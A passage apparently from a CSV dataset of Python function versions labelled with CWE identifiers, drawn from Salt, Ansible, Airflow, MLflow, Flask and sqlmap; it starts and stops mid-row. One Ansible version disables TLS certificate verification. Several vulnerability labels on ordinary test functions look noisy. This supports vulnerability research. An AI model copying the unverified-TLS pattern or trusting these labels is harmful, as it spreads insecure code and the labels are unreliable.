    Example, tar with flag for verbose output:

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - user: root
            - group: root
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    archive_user
        The user to own each extracted file.

        .. deprecated:: 2014.7.2
            replaced by standardized `user` parameter.

    user
        The user to own each extracted file.

    group
        The group to own each extracted file.

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c and -f/--file
        **should not be used** here.
        If ``archive_format`` is ``zip`` or ``rar`` and this option is not set,
        then the Python tarfile module is used. The tarfile module supports gzip
        and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache

    trim_output
        The number of files we should output on success before the rest are trimmed, if this is
        set to True then it will default to 100
        
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    # remove this whole block after formal deprecation.
    if archive_user is not None:
        warn_until(
          'Boron',
          'Passing \'archive_user\' is deprecated.'
          'Pass \'user\' instead.'
        )
        if user is None:
            user = archive_user

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(six.iterkeys(file_result))]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name, user=user, group=group)

    log.debug('Extract {0} in {1}'.format(filename, name))
    if archive_format == 'zip':
        files = __salt__['archive.cmd_unzip'](filename, name, trim_output=trim_output)
    elif archive_format == 'rar':
        files = __salt__['archive.unrar'](filename, name, trim_output=trim_output)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for position, opt in enumerate(tar_opts):
                if opt.startswith('-'):
                    tar_longopts.append(opt)
                else:
                    if position > 0:
                        tar_longopts.append(opt)
                    else:
                        append_opt = opt
                        append_opt = append_opt.replace('x', '').replace('f', '')
                        tar_shortopts = tar_shortopts + append_opt

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if 'bsdtar' in __salt__['cmd.run']('tar --version', python_shell=False):
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    # Recursively set user and group ownership of files after extraction.
    # Note: We do this here because we might not have access to the cachedir.
    if user or group:
        dir_result = __salt__['state.single']('file.directory',
                                               name,
                                               user=user,
                                               group=group,
                                               recurse=['user', 'group'])
        log.debug('file.directory: {0}'.format(dir_result))

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/vmware.py,0,"def connect_to_api(module, disconnect_atexit=True):
    hostname = module.params['hostname']
    username = module.params['username']
    password = module.params['password']
    port = module.params.get('port', 443)
    validate_certs = module.params['validate_certs']

    if not hostname:
        module.fail_json(msg=""Hostname parameter is missing.""
                             "" Please specify this parameter in task or""
                             "" export environment variable like 'export VMWARE_HOST=ESXI_HOSTNAME'"")

    if not username:
        module.fail_json(msg=""Username parameter is missing.""
                             "" Please specify this parameter in task or""
                             "" export environment variable like 'export VMWARE_USER=ESXI_USERNAME'"")

    if not password:
        module.fail_json(msg=""Password parameter is missing.""
                             "" Please specify this parameter in task or""
                             "" export environment variable like 'export VMWARE_PASSWORD=ESXI_PASSWORD'"")

    if validate_certs and not hasattr(ssl, 'SSLContext'):
        module.fail_json(msg='pyVim does not support changing verification mode with python < 2.7.9. Either update '
                             'python or use validate_certs=false.')

    ssl_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
    if validate_certs:
        ssl_context.verify_mode = ssl.CERT_REQUIRED
        ssl_context.check_hostname = True
        ssl_context.load_default_certs()

    service_instance = None
    try:
        connect_args = dict(
            host=hostname,
            user=username,
            pwd=password,
            port=port,
        )
        if ssl_context:
            connect_args.update(sslContext=ssl_context)
        service_instance = connect.SmartConnect(**connect_args)
    except vim.fault.InvalidLogin as invalid_login:
        module.fail_json(msg=""Unable to log on to vCenter or ESXi API at %s:%s as %s: %s"" % (hostname, port, username, invalid_login.msg))
    except vim.fault.NoPermission as no_permission:
        module.fail_json(msg=""User %s does not have required permission""
                             "" to log on to vCenter or ESXi API at %s:%s : %s"" % (username, hostname, port, no_permission.msg))
    except (requests.ConnectionError, ssl.SSLError) as generic_req_exc:
        module.fail_json(msg=""Unable to connect to vCenter or ESXi API at %s on TCP/%s: %s"" % (hostname, port, generic_req_exc))
    except vmodl.fault.InvalidRequest as invalid_request:
        # Request is malformed
        module.fail_json(msg=""Failed to get a response from server %s:%s as ""
                             ""request is malformed: %s"" % (hostname, port, invalid_request.msg))
    except Exception as generic_exc:
        module.fail_json(msg=""Unknown error while connecting to vCenter or ESXi API at %s:%s : %s"" % (hostname, port, generic_exc))

    if service_instance is None:
        module.fail_json(msg=""Unknown error while connecting to vCenter or ESXi API at %s:%s"" % (hostname, port))

    # Disabling atexit should be used in special cases only.
    # Such as IP change of the ESXi host which removes the connection anyway.
    # Also removal significantly speeds up the return of the module
    if disconnect_atexit:
        atexit.register(connect.Disconnect, service_instance)
    return service_instance.RetrieveContent()",,ansible/ansible,23e63c9237299dfbb9300899d6c36cbea8155bc0,"def connect_to_api(module, disconnect_atexit=True):
    hostname = module.params['hostname']
    username = module.params['username']
    password = module.params['password']
    port = module.params.get('port', 443)
    validate_certs = module.params['validate_certs']

    if not hostname:
        module.fail_json(msg=""Hostname parameter is missing.""
                             "" Please specify this parameter in task or""
                             "" export environment variable like 'export VMWARE_HOST=ESXI_HOSTNAME'"")

    if not username:
        module.fail_json(msg=""Username parameter is missing.""
                             "" Please specify this parameter in task or""
                             "" export environment variable like 'export VMWARE_USER=ESXI_USERNAME'"")

    if not password:
        module.fail_json(msg=""Password parameter is missing.""
                             "" Please specify this parameter in task or""
                             "" export environment variable like 'export VMWARE_PASSWORD=ESXI_PASSWORD'"")

    if validate_certs and not hasattr(ssl, 'SSLContext'):
        module.fail_json(msg='pyVim does not support changing verification mode with python < 2.7.9. Either update '
                             'python or use validate_certs=false.')

    ssl_context = None
    if not validate_certs and hasattr(ssl, 'SSLContext'):
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
        ssl_context.verify_mode = ssl.CERT_NONE

    service_instance = None
    try:
        connect_args = dict(
            host=hostname,
            user=username,
            pwd=password,
            port=port,
        )
        if ssl_context:
            connect_args.update(sslContext=ssl_context)
        service_instance = connect.SmartConnect(**connect_args)
    except vim.fault.InvalidLogin as invalid_login:
        module.fail_json(msg=""Unable to log on to vCenter or ESXi API at %s:%s as %s: %s"" % (hostname, port, username, invalid_login.msg))
    except vim.fault.NoPermission as no_permission:
        module.fail_json(msg=""User %s does not have required permission""
                             "" to log on to vCenter or ESXi API at %s:%s : %s"" % (username, hostname, port, no_permission.msg))
    except (requests.ConnectionError, ssl.SSLError) as generic_req_exc:
        module.fail_json(msg=""Unable to connect to vCenter or ESXi API at %s on TCP/%s: %s"" % (hostname, port, generic_req_exc))
    except vmodl.fault.InvalidRequest as invalid_request:
        # Request is malformed
        module.fail_json(msg=""Failed to get a response from server %s:%s as ""
                             ""request is malformed: %s"" % (hostname, port, invalid_request.msg))
    except Exception as generic_exc:
        module.fail_json(msg=""Unknown error while connecting to vCenter or ESXi API at %s:%s : %s"" % (hostname, port, generic_exc))

    if service_instance is None:
        module.fail_json(msg=""Unknown error while connecting to vCenter or ESXi API at %s:%s"" % (hostname, port))

    # Disabling atexit should be used in special cases only.
    # Such as IP change of the ESXi host which removes the connection anyway.
    # Also removal significantly speeds up the return of the module
    if disconnect_atexit:
        atexit.register(connect.Disconnect, service_instance)
    return service_instance.RetrieveContent()"
,UNKNOWN,UNKNOWN,helm_tests/other/test_statsd.py,1,"def test_default_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""statsd"": {
                    ""serviceAccount"": {""create"": True},
                },
            },
            show_only=[""templates/statsd/statsd-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is True",CWE-703,apache/airflow,550ebe8176a7f54c036e3ae2d25b5b390a4ba7a9,"def test_default_automount_service_account_token(self):
        docs = render_chart(
            values={
                ""statsd"": {
                    ""serviceAccount"": {""create"": True},
                },
            },
            show_only=[""templates/statsd/statsd-serviceaccount.yaml""],
        )
        assert jmespath.search(""automountServiceAccountToken"", docs[0]) is True"
,UNKNOWN,UNKNOWN,tests/entities/test_trace.py,1,"def test_json_deserialization(monkeypatch):
    monkeypatch.setattr(mlflow.tracking.context.default_context, ""_get_source_name"", lambda: ""test"")
    monkeypatch.setenv(MLFLOW_TRACKING_USERNAME.name, ""bob"")
    datetime_now = datetime.now()

    model = _test_model(datetime_now)
    model.predict(2, 5)

    trace = mlflow.get_last_active_trace()
    trace_json = trace.to_json()

    trace_json_as_dict = json.loads(trace_json)
    assert trace_json_as_dict == {
        ""info"": {
            ""trace_id"": trace.info.request_id,
            ""client_request_id"": None,
            ""trace_location"": {
                ""mlflow_experiment"": {
                    ""experiment_id"": ""0"",
                },
                ""type"": ""MLFLOW_EXPERIMENT"",
            },
            ""request_time"": trace.info.timestamp_ms,
            ""execution_duration"": trace.info.execution_time_ms,
            ""state"": ""OK"",
            ""request"": '{""x"": 2, ""y"": 5}',
            ""response"": ""8"",
            ""trace_metadata"": {
                ""mlflow.traceInputs"": '{""x"": 2, ""y"": 5}',
                ""mlflow.traceOutputs"": ""8"",
                TRACE_SCHEMA_VERSION_KEY: str(TRACE_SCHEMA_VERSION),
            },
            ""tags"": {
                ""mlflow.traceName"": ""predict"",
                ""mlflow.source.name"": ""test"",
                ""mlflow.source.type"": ""LOCAL"",
                ""mlflow.artifactLocation"": trace.info.tags[MLFLOW_ARTIFACT_LOCATION],
            },
            ""assessments"": [],
        },
        ""data"": {
            ""request"": '{""x"": 2, ""y"": 5}',
            ""response"": ""8"",
            ""spans"": [
                {
                    ""name"": ""predict"",
                    ""context"": {
                        ""trace_id"": trace.data.spans[0]._trace_id,
                        ""span_id"": trace.data.spans[0].span_id,
                    },
                    ""parent_id"": None,
                    ""start_time"": trace.data.spans[0].start_time_ns,
                    ""end_time"": trace.data.spans[0].end_time_ns,
                    ""status_code"": ""OK"",
                    ""status_message"": """",
                    ""attributes"": {
                        ""mlflow.traceRequestId"": json.dumps(trace.info.request_id),
                        ""mlflow.spanType"": '""UNKNOWN""',
                        ""mlflow.spanFunctionName"": '""predict""',
                        ""mlflow.spanInputs"": '{""x"": 2, ""y"": 5}',
                        ""mlflow.spanOutputs"": ""8"",
                    },
                    ""events"": [],
                },
                {
                    ""name"": ""add_one_with_custom_name"",
                    ""context"": {
                        ""trace_id"": trace.data.spans[1]._trace_id,
                        ""span_id"": trace.data.spans[1].span_id,
                    },
                    ""parent_id"": trace.data.spans[0].span_id,
                    ""start_time"": trace.data.spans[1].start_time_ns,
                    ""end_time"": trace.data.spans[1].end_time_ns,
                    ""status_code"": ""OK"",
                    ""status_message"": """",
                    ""attributes"": {
                        ""mlflow.traceRequestId"": json.dumps(trace.info.request_id),
                        ""mlflow.spanType"": '""LLM""',
                        ""mlflow.spanFunctionName"": '""add_one""',
                        ""mlflow.spanInputs"": '{""z"": 7}',
                        ""mlflow.spanOutputs"": ""8"",
                        ""delta"": ""1"",
                        ""datetime"": json.dumps(str(datetime_now)),
                        ""metadata"": '{""foo"": ""bar""}',
                    },
                    ""events"": [],
                },
            ],
        },
    }",CWE-703,mlflow/mlflow,a3dbc69358c7f7b4d1ad2d62f4af223f39c48b6a,"def test_json_deserialization(monkeypatch):
    monkeypatch.setattr(mlflow.tracking.context.default_context, ""_get_source_name"", lambda: ""test"")
    monkeypatch.setenv(MLFLOW_TRACKING_USERNAME.name, ""bob"")
    datetime_now = datetime.now()

    model = _test_model(datetime_now)
    model.predict(2, 5)

    trace = mlflow.get_last_active_trace()
    trace_json = trace.to_json()

    trace_json_as_dict = json.loads(trace_json)
    assert trace_json_as_dict == {
        ""info"": {
            ""request_id"": trace.info.request_id,
            ""experiment_id"": ""0"",
            ""timestamp_ms"": trace.info.timestamp_ms,
            ""execution_time_ms"": trace.info.execution_time_ms,
            ""status"": ""OK"",
            ""request_metadata"": {
                ""mlflow.traceInputs"": '{""x"": 2, ""y"": 5}',
                ""mlflow.traceOutputs"": ""8"",
                TRACE_SCHEMA_VERSION_KEY: str(TRACE_SCHEMA_VERSION),
            },
            ""tags"": {
                ""mlflow.traceName"": ""predict"",
                ""mlflow.source.name"": ""test"",
                ""mlflow.source.type"": ""LOCAL"",
                ""mlflow.artifactLocation"": trace.info.tags[MLFLOW_ARTIFACT_LOCATION],
            },
            ""assessments"": [],
        },
        ""data"": {
            ""request"": '{""x"": 2, ""y"": 5}',
            ""response"": ""8"",
            ""spans"": [
                {
                    ""name"": ""predict"",
                    ""context"": {
                        ""trace_id"": trace.data.spans[0]._trace_id,
                        ""span_id"": trace.data.spans[0].span_id,
                    },
                    ""parent_id"": None,
                    ""start_time"": trace.data.spans[0].start_time_ns,
                    ""end_time"": trace.data.spans[0].end_time_ns,
                    ""status_code"": ""OK"",
                    ""status_message"": """",
                    ""attributes"": {
                        ""mlflow.traceRequestId"": json.dumps(trace.info.request_id),
                        ""mlflow.spanType"": '""UNKNOWN""',
                        ""mlflow.spanFunctionName"": '""predict""',
                        ""mlflow.spanInputs"": '{""x"": 2, ""y"": 5}',
                        ""mlflow.spanOutputs"": ""8"",
                    },
                    ""events"": [],
                },
                {
                    ""name"": ""add_one_with_custom_name"",
                    ""context"": {
                        ""trace_id"": trace.data.spans[1]._trace_id,
                        ""span_id"": trace.data.spans[1].span_id,
                    },
                    ""parent_id"": trace.data.spans[0].span_id,
                    ""start_time"": trace.data.spans[1].start_time_ns,
                    ""end_time"": trace.data.spans[1].end_time_ns,
                    ""status_code"": ""OK"",
                    ""status_message"": """",
                    ""attributes"": {
                        ""mlflow.traceRequestId"": json.dumps(trace.info.request_id),
                        ""mlflow.spanType"": '""LLM""',
                        ""mlflow.spanFunctionName"": '""add_one""',
                        ""mlflow.spanInputs"": '{""z"": 7}',
                        ""mlflow.spanOutputs"": ""8"",
                        ""delta"": ""1"",
                        ""datetime"": json.dumps(str(datetime_now)),
                        ""metadata"": '{""foo"": ""bar""}',
                    },
                    ""events"": [],
                },
            ],
        },
    }"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/ui/test_assets.py,1,"def test_next_run_assets(test_client, dag_maker):
    with dag_maker(dag_id=""upstream"", schedule=[Asset(uri=""s3://bucket/key/1"")], serialized=True):
        EmptyOperator(task_id=""task1"")

    dag_maker.create_dagrun()
    dag_maker.dagbag.sync_to_db()

    response = test_client.get(""/ui/next_run_assets/upstream"")

    assert response.status_code == 200
    assert response.json() == {
        ""asset_expression"": {""all"": [""s3://bucket/key/1""]},
        ""events"": [{""id"": 20, ""uri"": ""s3://bucket/key/1"", ""lastUpdate"": None}],
    }",CWE-703,apache/airflow,b3362f841f31b5629f09f619cfa2d69e7199493a,"def test_next_run_assets(test_client, dag_maker):
    with dag_maker(dag_id=""upstream"", schedule=[Asset(uri=""s3://bucket/key/1"")], serialized=True):
        EmptyOperator(task_id=""task1"")

    dag_maker.create_dagrun()
    dag_maker.dagbag.sync_to_db()

    response = test_client.get(""/ui/next_run_assets/upstream"")

    assert response.status_code == 200
    assert response.json() == {
        ""asset_expression"": {""all"": [""s3://bucket/key/1""]},
        ""events"": [{""id"": 17, ""uri"": ""s3://bucket/key/1"", ""lastUpdate"": None}],
    }"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,examples/minitwit/minitwit.py,0,"def before_request():
    """"""Make sure we are connected to the database each request and look
    up the current user so that we know he's there.
    """"""
    g.db = connect_db()
    g.user = None
    if 'user_id' in session:
        g.user = query_db('select * from user where user_id = ?',
                          [session['user_id']], one=True)",,pallets/flask,673fa18e6d3cb03bf1db1ba3b0322f7211412ecf,"def before_request():
    """"""Make sure we are connected to the database each request and look
    up the current user so that we know he's there.
    """"""
    g.db = connect_db()
    g.user = None
    if 'user_id' in session:
        g.user = query_db('select * from user where user_id = ?',
                          [session['user_id']], one=True)"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        if conf.offline:
            return None, None, None
        elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if multipart:
            post = multipart

        if not post:
            chunked = False

        elif chunked:
            post = _urllib.parse.unquote(post)
            post = chunkSplitPostData(post)

        websocket_ = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL and _urllib.parse.urlparse(url).scheme != ""https"":
                    url = re.sub(r""(?i)\Ahttp:"", ""https:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            for key, value in list(headers.items()):
                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            post = getBytes(post)

            if websocket_:
                ws = websocket.WebSocket()
                ws.settimeout(timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))
                page = ws.recv()
                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                    patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
